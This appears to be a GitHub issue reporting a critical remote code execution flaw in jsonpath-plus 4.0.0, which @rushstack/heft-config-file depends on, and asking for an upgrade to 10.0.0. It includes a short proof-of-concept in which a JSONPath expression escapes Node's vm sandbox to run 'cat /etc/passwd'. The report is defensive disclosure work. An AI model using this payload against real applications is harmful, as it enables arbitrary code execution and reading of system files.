rushstack icon indicating copy to clipboard operation
rushstack copied to clipboard

`jsonpath-plus` Critical RCE in 4.0.0, need an update to 10.0.0 to fix it.

Open Yokai1000 opened this issue 1 year ago • 0 comments

Description:

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.

This package is present in @rushstack/heft-config-file package.json

Note:

The unsafe behavior is still available after applying the fix but it is not turned on by default.

# Path: index.js
const { JSONPath } = require("jsonpath-plus");

const data = {};

let x = JSONPath({
    json: data,
    path: "$[(this.constructor.constructor("require(\"child_process\").exec(\"cat /etc/passwd\")")())]"
});

Yokai1000 avatar Oct 11 '24 08:10 Yokai1000